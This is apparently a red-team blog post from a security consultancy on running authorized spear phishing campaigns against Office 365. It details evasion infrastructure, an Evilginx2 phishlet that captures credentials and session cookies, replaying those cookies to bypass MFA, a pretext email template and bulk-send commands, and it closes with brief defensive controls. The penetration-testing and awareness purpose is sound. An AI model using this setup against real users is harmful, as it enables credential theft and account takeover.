Spear Phishing on Modern Platforms

June 14, 2023

Spear Phishing on Modern Platforms

Introduction

Spear phishing is a social engineering activity intended to simulate a realistic attack with the intent of bypassing technical security controls and persuading employees to perform various actions. Additionally, spear phishing is typically customized and focused on a small subset of users, for example, less than 30 users. Spear phishing should not be compared to mass phishing, as a mass phishing campaign typically focuses on a large subset of users, usually 100 or more, and is intended to focus on user security awareness. Mass phishing should be performed on a routine basis against an entire organization rather than focusing on specific high value targets.

Over the last few years, email filtering security solutions have evolved and implemented tough defenses to block as many scams as possible, however, security researchers have evolved in this space as well. This guide will walk you through how to set up infrastructure that is intended to bypass modern day platforms and successfully deliver a phishing email to an end user's inbox. The purpose of this guide is to help outline modern tactics and techniques to other security professionals when performing authorized engagements. Security professionals can also leverage this guide to implement better security controls in place protecting against modern phishing attacks.

Please note, this guide is only intended for those who are authorized to perform social engineering activities.

Infrastructure

Planning the infrastructure for a phishing campaign is the component that takes the most time. There are various providers that an individual can use, including Amazon AWS, Digital Ocean and others. For this walkthrough, we will be leveraging Amazon’s AWS platform. It does not matter which platform you use, just ensure that you have performed adequate due diligence, including informing the provider that you are performing the phishing campaign for non-malicious purposes.

Virtual Instance

To get started with the spear phishing setup, a virtual machine is needed to host the infrastructure. A virtual instance is ultimately a machine being provided by third party that is accessed from anywhere in the world. For this guide, we will be leveraging AWS's EC2 instances.

Simulated Event Form

AWS requires that individuals fill out a form to ensure they are filtering out the bad threat actors vs the ones authorized to perform phishing engagements or other allowed activities. The form can be found here: https://console.aws.amazon.com/support/contacts?#/simulated-events. It is extremely important that this form is completed after setting up your EC2 instance.

To create an EC2 instance, navigate to the search bar and type 'EC2' and it will appear as an option from the search results.

Figure 1: EC2 Instances

Security Groups

Prior to actually setting up the instance, it is best to configure a security group to leverage for for the EC2 instance. Security groups help protect EC2 instances from unauthorized individuals by filtering specific ports for specific IPs, essentially ensuring the box is not wide open to everyone.

Figure 3: Security Groups in AWS

An example of a security group configuration is shown below. The rules are effectively only allowing a specific IP address access to the host through TCP port 22 (SSH) and allowing the Internet to access HTTP/HTTPS for the phishing page.

Figure 4: Phishing Security Group

Once this has been configured for the security group, save the configuration.

EC2 Instance

Next, navigate to the instances in the left hand column in AWS and select 'Launch Instances'.

Figure 5: AWS EC2 Instances

Step 1: Choose AMI
You will be redirected to the 'Choose AMI' page for selecting an operating system for the instance. (AMI stands for 'Amazon Machine Image'.) For this walkthrough, we will be using an Ubuntu operating system. I recommend using an Ubuntu image due to its customizeability, low system rquirements and being user friendly.

Figure 6: Choosing AMI

Step 2: Choose Instance Type

Figure 7: Choosing Instance Type

Step 3: Configure Instance Details
Leave the default configurations here unless you need to change something.

Step 4: Add Storage
Leave the default configurations here unless you need to change something.

Step 5: Add Tags
Leave the default configurations here unless you need to change something.

Step 6: Configure Security Group
In this step, you will choose the security group previously configured earlier in the walkthrough named 'SpearPhishingSetup' as shown below.

Figure 8: Configuring Security Groups

Step 7: Review
Once you have configured your instance, you will have an opportunity to review all the configurations chosen for the box. An example of the configuration created for this walkthrough is shown below.

Figure 9: Review Instance Configurations

Step 8: Selecting A Private Key
If everything looks configured properly, the instance is ready to be launched. After the 'Launch' button is clicked, AWS will prompt you to select a key pair they wish to use for connecting to the instance. Select a key pair you already have or create a new one. It is important you download the private key to ensure access to the host.

Figure 10: Downloading Private Key

Step 9: Verify Access to Instance
To verify access to the host, navigate back to the 'Instances' page and identify the public IP address assigned to your instance. Next, login to the box using the SSH private key downloaded from AWS. It is important to make sure the proper permissions are set for the .pem file by using chmod 600 <keyname> to have read and write privileges for the key.

Figure 11: Logging Into EC2 Instance

Once access is confirmed to the box, the next step is setting up the domain for the spear phish.

Domains

The first thing an individual should do prior to setting up any infrastructure is make sure a domain is suitable for the specific engagement. It is best practice to use aged domains due as newer domains are susceptible to being flagged for being recently created. Organizations can actually configure their email filtering to recognize newly registered domains to ensure they are blocked from entering their employees' mailboxes.

The best way to have domains on hand is to buy around 10 every 2-3 months to have multiple domains readily available to choose from for upcoming engagements. Domains with generic keywords such as 'corporate' or 'internal' are the best route when purchasing domains in bulk from registrar sites. There are various registrar sites (e.g., namecheap.com, godaddy.com, etc.) that indidivuals can purchase domains.

Website Hosting

After obtaining a domain, the next step is to add the domain to a infrastructure and website hosting site to leverage additional features during the phishing engagement, such as proxying the virtual instance IP address. It is recommended to create multiple accounts on whichever platform chosen to prevent all your domains in a single account from being burned if one domain is compromised.

Once the site is added, ensure the nameservers are pointed to the proper hosts. The nameserver change could take up to 24 hours to go into effect. It typically only takes an hour but there have been instances where it took the full 24 hours. Once the domain is successfully added, move into the steps below.

Defense IP Blocking

The next step is to block specific IP addresses from accessing the site. We can leverage this by creating firewall rules that block various email security vendor source IP addresses to ensure the site is not being scanned when being delivered to an inbox. It is recommended to not solely rely on this tactic as vendors can update source IPs at any time, but this publicly available list is a great starting point.

Although these are for an individual technology, it’s best to identify the email filtering in place for the product you’re up against to ensure you’re blocking the appropriate IP addresses.

Setting Up DNS Records

DNS records are used as a way for associating specific information with a domain for the internet to resolve. DNS records are essentially the backbone of websites. We’ll be adding various types of DNS records for this walkthrough, including A records, CNAME records, MX records and TXT records.

A Records
An A record is meant to point to a specific IPv4 address for the website to resolve to. For example, if XX.XX.XX.XX is pointing to example.com, when an individual is visiting example.com, it is pulling the information from XX.XX.XX.XX for the example.com website.

CNAME Records
A CNAME record is used as a way to have subdomains associated to a domain. The best way to think about it is to consider CNAME records as subcategories of the overall domain. For example, you can add a CNAME record indicating www.example.com resolves to example.com.

MX Records
MX records are a way to associate a client-server mailbox with a domain. When MX records are added, it helps a domain identify where the mail should be going for the domain. Additionally, there are different priority numbers associated with MX records, depending on the provider being used with a domain. The priority numbers help the domain understand which MX record should be used first.

TXT Records
TXT records are generally used to associate services to a domain. The largest use of TXT records is for verifying the authenticity of a domain with SPF and DKIM records.

We will start by adding the A records in for the domain. The A record will point to the AWS instance we previously set up.

Figure 12: A Record Configurations

Additionally, add another A record for a generic web server to leverage for site categorization. It is recommended to have a generic site stood up as an additional record for requesting to have content on a page. The best way to do this is having the A record point from 'www.example.com' to the IPv4 address of the generic site. An easy way to get a generic site stood up is by cloning another website's page in an authorized manner.

Figure 13: A Record Configurations

We will add additional DNS records throughout the guide, however, it is important to have these initial records set up prior to proceeding to request site categorization.

Microsoft Office 365 Basic

Creating An Account

As another part of the infrastructure, we’ll utilize Microsoft 365 Business Basic plan to add the domain to and to use Microsoft’s mail server. Information on setting up an account can be found here. It’s best to utilize a fake name and add a fake company name, because if someone queries the realm of the domain with O365, it will show them the real name associated with the account.

Adding Domain

Once an account is created, add the domain to your account.

Figure 15: Configuring O365

Figure 16: Adding Domain

Figure 17: Adding Domain

Figure 18: Adding Domain

Figure 19: Authorize DNS Changes

Once you continue allowing Microsoft to add all the proper DNS records, setup is complete. Once the domain setup is complete, refresh the site’s DNS records and identify the added records from Microsoft.

Figure 20: Completed Setup

Figure 21: DNS Records

Creating Email Addresses
Next, add two users at this step, one user for sending the emails and one for contact when we submit our site for categorization.

Figure 22: Add O365 User for Domain

Site Categorization

Next, categorize the domain. Site categorization is used to determine specific categories for a website, which essentially helps keep malicious websites away from organizations if they are properly categorized. If this step is skipped, a domain is at risk for being seen as uncategorized, which may look suspicious and end up getting flagged as malicious. You want to build up the trust so your domain blends in with actual companies. Many clients who do egress filtering do not allow users to visit uncategorized URLs. If possible, fingerprint what the client is using, and submit URLs there. But to be safe, submit to multiple, as some providers feed off of each others’ categories.

Ensure your site is categorized by leveraging the resources detailed below from bluscreenofjeff’s Red Team Wiki Guide.

It is best to usually categorize your site as Business, Finance, or IT. It is important to use a real email address and have real content pointing to your 'www' A record to ensure the site looks like a reputable domain. Site categorization takes up to 1-2 days. You can check on the status of your site by revisiting a few of the links mentioned above.

Figure 23: Domain Successfully Categorized

Evilginx2 Setup (IOCs Removed)

Evilginx2, a MiTM attack framework, is used to perform MitM attacks with login credentials and session cookies. The session cookies captured allow an unauthorized user to bypass MFA. An Evilginx2 server acts as a web proxy between the employee and malicious landing page. Once a user enters their credentials on the fake landing page, the browser redirects the user to the provider's MFA page for the MFA code. This allows you to ultimately intercept the data while still passing it to the real server for authentication.

Various security researchers discovered an IOC from Evilginx2 within the bytes being transferred in the headers which essentially flagged the domain as maliciously using evilginx2. You can download the version with the IOCs removed here.

Before getting evilginx2 set up, you’ll need to download golang, a compiled programming language by Google, on your host. The easiest way is to pull it from the packages as shown below:

apt install golang

Next we’ll build the evilginx2 package by executing the command below in the directory you have stored evilginx2.

go build .

Figure 24: Installing Evilginx2

Next, we will be using an O365 phishlet with a few adjustments. Information about each of the parameters is provided below. Additional information about configuring phishlet yaml files can be found here.

proxy_hosts: the ‘proxy_hosts’ parameter indicates which domains and subdomains that Evilginx will proxy between the real server and end user
phish_sub: the ‘phish_sub’ parameter indicates which subdomain to be used for the phishing hostname
sub_filters: the ‘sub_filters’ parameter is used to indicate the string substitution filters for dynamic content being proxied
auth_tokens: the ‘auth_tokens’ indicates which cookies are to be captured in the proxied response
credentials: the ‘credentials’ parameter indicates the parameters should be captured in the POST requests
auth_urls: the ‘auth_urls’ parameter specifies a URL that should be available once a user is fully authenticated which would indicate the authentication is complete
login: the ‘login’ parameter indicates where the location of the phishing landing page

Please add O3652.yaml to the /phishlets directory with the configuration below. The minor edits made from the original is adjusting the ‘ESTSAUTH' , 'ESTSAUTHPERSISTENT' , and 'SignInStateCookie' cookies to be captured only from ‘.login.microsoftonline.com'. Additionally, the login path is changed to '/?auth=2' to ensure the phishing page begins at the landing page located at that path location.



author: '@kike,@bsmithday,@JRodriguez556'

min_ver: '2.3.0'

proxy_hosts:

  - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true}

  - {phish_sub: 'account', orig_sub: 'account', domain: 'microsoftonline.com', session: false, is_landing: false}

sub_filters:

  - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}/ppsecure/', replace: 'https://{hostname}/ppsecure/', mimes: ['text/html', 'application/json', 'application/javascript']}

  - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}/GetCredentialType.srf', replace: 'https://{hostname}/GetCredentialType.srf', mimes: ['text/html', 'application/json', 'application/javascript']}

  - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}/GetSessionState.srf', replace: 'https://{hostname}/GetSessionState.srf', mimes: ['text/html', 'application/json', 'application/javascript']}

  - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}

  - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript'], redirect_only: true}

auth_tokens:

  - domain: '.login.microsoftonline.com'

    keys: ['ESTSAUTH' , 'ESTSAUTHPERSISTENT' , 'SignInStateCookie']

credentials:

  username:

    key: 'login'

    search: '(.*)'

    type: 'post'

  password:

    key: 'passwd'

    search: '(.*)'

    type: 'post'

login:

    domain: 'login.microsoftonline.com'

    path: '/?auth=2'

It is best to always run evilginx2 in a screen session or tmux session to prevent any interruptions from your end and to log all the data. To start evilginx2, use the following command:

./evilginx2 -p phishlets/ -debug

Figure 25: Running Evilginx2 in Debug Mode

Prior to configuring our phishlet with evilginx2, add a reputable SSL certificate to our EC2 instance. This prevents evilginx2 from pulling certificates for you and makes our site appear more reputable. There are various certificate authorities to choose from outside of the default authority evilginx2 uses.

You will save the private key and certificate from the authority you use to your EC2 instance. Once you have saved both of the keys, create a directory under the user you are using to install evilginx, named '.evilginx'.

Next, make a 'crt' directory under '.evilginx' and a directory for our domain, as shown below.



root@ip-172-31-5-110:/root/.evilginx# mkdir crt

root@ip-172-31-5-110:/root/.evilginx# cd crt

root@ip-172-31-5-110:/root/.evilginx/crt# mkdir yourdomain.com

root@ip-172-31-5-110:/root/.evilginx/crt# cd yourdomain.com/

Now that you have the directory ready for your certificate, you will transfer your certificate file to the host under /youruser/.evilginx/crt/yourdomain.com and name it accordingly, based off the phishlet being used. In this case, we are using an O365 phishlet so we will name it o3652.crt. You will transfer the private key after the certificate and name it o3652.key



root@ip-172-31-5-110:/root/.evilginx/crt/yourdomain.com# nano o3652.crt

root@ip-172-31-5-110:/root/.evilginx/crt/yourdomain.com# nano o3652.key

The last thing needed before running evilginx2 is ensure evilginx2 can take over DNS properly without any links interfering with DNS configurations.



sudo rm /etc/resolv.conf

sudo ln -s /run/ ystem/resolve/resolv.conf /etc/resolv.conf

Next, point the internal IP address to your domain in your /etc/hosts file.



[internal IP] yourdomain.com

To ensure the local DNS server does not interfere with evilginx2’s, stop it using the command below.



sudo systemctl stop  ystem-resolved.service

Next, change the default configurations. The main components changed from the config options is the domain, IP, and ‘redirect_url’. If you leave the ‘redirect_url’ to the default, you will not only rick roll an unauthorized user but it will definitely correlate the site being used as an evilginx server.



: config domain yourdomain.com

: config ip XX.XX.XX.XXX

: config redirect_url https://google.com

Next, configure the O365 phishlet to use the domain we setup. In this case, I named the phishlet 'o3652'.



: phishlets hostname o365 yourdomain.com

: phishlets enable o3652

: lures create O3652

Figure 26: Enabling Phishlet

Once the lure has been generated, you can retrieve the URL by typing the command below:



: lures get-url 0

We can paste our lure URL in a browser and observe the landing page created by Evilginx2 leveraging our manually added SSL certificate.

Figure 27: Evilginx2 Landing Page

Figure 28: Certificate Showing On Landing Page

Next, test the login using a Microsoft account. Once Evilginx2 has captured all the necessary cookies, it will show that all tokens have been intercepted.

Figure 29: Evilginx2 Capturing Tokens from Session

To view all the sessions captured, type sessions and it will display the information as shown below.

Figure 30: Evilginx2 - Sessions

To leverage a captured session, specify the session number after session. An example is shown below.

Figure 31: Evilginx2 - Viewing Specific Session

Copy the entire JSON output, which looks similar to the text below, and paste into the Firefox's Cookie-Editor extension. This extension allows you to edit the cookies for the page.



[{"path":"/","domain":"login.microsoftonline.com"...<redacted>..."httpOnly":true}]

Navigate to login.microsoftonline.com and import the JSON data into the Cookie Editor.

Figure 32: Importing JSON Data into Cookie Editor Extension

Once the JSON data is imported, reload the page and it will leverage the captured cookies to bypass two factor authentication.

Figure 33: Session Takeover

Your phishing landing page is now ready to go once you have verified the the phishlets are properly processing requests. There will be instances where you cannot necessarily test it depending on the type of phishlet but it is always best to test wherever you can to avoid issues during an engagement.

Creating Email

If you intend to use Microsoft O365, it it best to limit to not sending the email to more than five users at once through the BCC line. From experience, the most successful phishing emails consist of solely text and zero graphics. I typicaly link the document, depending on the scenario I choose; I always ensure the font is 'Arial' and the text is size '10'. Think of it this way, you would not expect Sally from Accounting to be sending you an colorful email asking you to click somewhere on the email, but you would expect an example that looks similar to the one below since it resembles normal email exchanges between employees.



Hello all,



Due to recent update, we will need to make changes to the <DOCUMENT NAME>. Please find the updated <COMPANY NAME> <DOCUMENT NAME> document below.



<COMPANY> - 2022 - <DOCUMENT NAME>  - YOU WILL LINK THE TEXT HERE



Please review the required document prior to Friday, April 1, 2022.



If you have any questions regarding this update, please contact <CONTACT NAME> at <CONTACT EMAIL>



Thank you,

<CONTACT>

An example of an email is shown below for a fake company named 'Acme'. This email is in Microsoft Word intentionally. You can now save the document as an HTML document to leverage with email client tools or directly copy and paste into O365.

Figure 34: Email Template

Spam Analysis

The last thing needed is make sure the email is not flagged as suspicious. We will use Mailtrap to test the spam rating of the email. Mailtrap provides an SMTP server with a username and password to direct the email to their inbox for your account. You can access the credentials by clicking 'show credentials' under the demo inbox.

Figure 35: Mailtrap - SMTP Credentials

The easiest way to test your email from O365 is to use Smitty. Smitty is an email client created by security researchers that allows you to leverage HTML templates for emails without bringing in any alarming IOCs.

To download Smitty, follow the instructions below.

 

git clone https://github.com/tomsteele/smitty.git

cd smitty/

gem build smitty.gemspec

gem install smitty

Once you have Smitty installed, we can specify our SMTP server credentials from Mailtrap to test our email.



smitty --ssl --server <MAILTRAP SMTP SERVER> --user <MAILTRAP SMTP USER> --password <MAILTRAP SMTP PASS> --port 587 "Sender <example@example.com>" emails.txt "SUBJECT" --vars firstname=firstname.txt,email=emails.txt --sleep 4 email_TEST.html

Once you send your phishing email to the designated Mailtrap SMTP server, you will see the email appear in your Mailtrap Inbox.

As you can see, the test email has a score of 0.1 which is a great score. If the score goes over 1.5, consider adjusting how your email looks.

Figure 36: Mailtrap - Spam Analysis

Mailtrap also provides the ability to preview how the email would look in a browser vs a mobile phone, which provides an idea of how the end user would view the email. Once testing is complete in Mailtrap, you are ready to begin your spear phishing campaign.

You may use Smitty to send out your actual phishing email or use O365. If you choose to go the Smitty route, you need to ensure you can use basic authentication from the O365 Admin portal. By default, Azure has 'Security Defaults' enabled, you will want to disable this option as shown below.

Figure 37: Configuring Security Defaults in O365

Additionally, in the O365 Admin Center under Organization settings, ensure legacy authentication is allowed by checking which items are needed.

Once these options are configured properly, you can leverage Smitty to send your phishing email.

Figure 38: Enabled Other Forms of Authentication



smitty --ssl --server smtp.office365.com --user ‘user@domain.com’ --password ‘password’ --port 587 “User Name user@domain.com” emails.txt “<subject_line_here>” --vars email=email_list.txt --sleep 4 test.html

Technical Controls

Implement site categorization inside the internal network to prevent uncategorized domains being visited in the internal network.
Implement a phishing button inside the corporate email client to ensure employees can report suspicious emails instantly. Most email clients have this feature available to integrate for organizations.
Implement secure email gateway configurations. Examples such as blocking emails containing specific attachment types, only lettings emails through that are properly scanned for malicious sites, and other configurations. Additionally, ensuring SPF, DMARC, and DKIM records are up to date as needed.
Ensure external emails are indicated clearly as being external in a user's inbox. Examples such as adding ‘EXTERNAL’ to the subject line of an email as well as placing a red block indicating the email is external prior to the body of the email.

User Security Awareness Training

Providing routine security awareness training to remind employee how to recognize and report attacks.
Promote a work culture that emphasizes good security posture at work. Employees should never be punished for poor security posture as it only provides an opportunity to provide additional training.

By:

Savannah Lazzara

Technical Manager, Threat Management Attack & Penetration Team | Optiv

Savannah Lazzara is a Technical Manager in Optiv’s Threat Management practice on the Attack & Penetration team. Savannah has multiple years of experience in security consulting working with many Fortune 500 corporations. Lazzara’s primary role is focused on carrying out security assessments which include network assessments, social engineering exercises, physical facility penetration tests and wireless assessments. Savannah also performs adversary simulation assessments which include remote breach simulations, insider threat assessments, and onsite breach assessments. Savannah’s area of expertise is focused on social engineering and physical security.

Optiv Security: Secure greatness.^®

Optiv is the cyber advisory and solutions leader, delivering strategic and technical expertise to nearly 6,000 companies across every major industry. We partner with organizations to advise, deploy and operate complete cybersecurity programs from strategy and managed security services to risk, integration and technology solutions. With clients at the center of our unmatched ecosystem of people, products, partners and programs, we accelerate business progress like no other company can. At Optiv, we manage cyber risk so you can secure your full potential. For more information, visit www.optiv.com.

How Can We Help?

Let us know what you need, and we will have an Optiv professional contact you shortly.

Spear Phishing on Modern Platforms

Introduction

Infrastructure

Virtual Instance

Security Groups

EC2 Instance

Domains

Website Hosting

Defense IP Blocking

Microsoft Office 365 Basic

Creating An Account

Adding Domain

Site Categorization

Evilginx2 Setup (IOCs Removed)

Creating Email

Spam Analysis

Technical Controls

User Security Awareness Training

Phishing

social engineering

TTPs

spear phishing

social engineering

Security Awareness

Red Team

Source Zero®

Diving Deeper Into Pre-created Computer Accounts

Understanding COSMICENERGY, an Emerging OT Malware

Breaking the (WDAPT) Rules with COM

How Can We Help?

Let's Talk Cybersecurity

Let's Browse Cybersecurity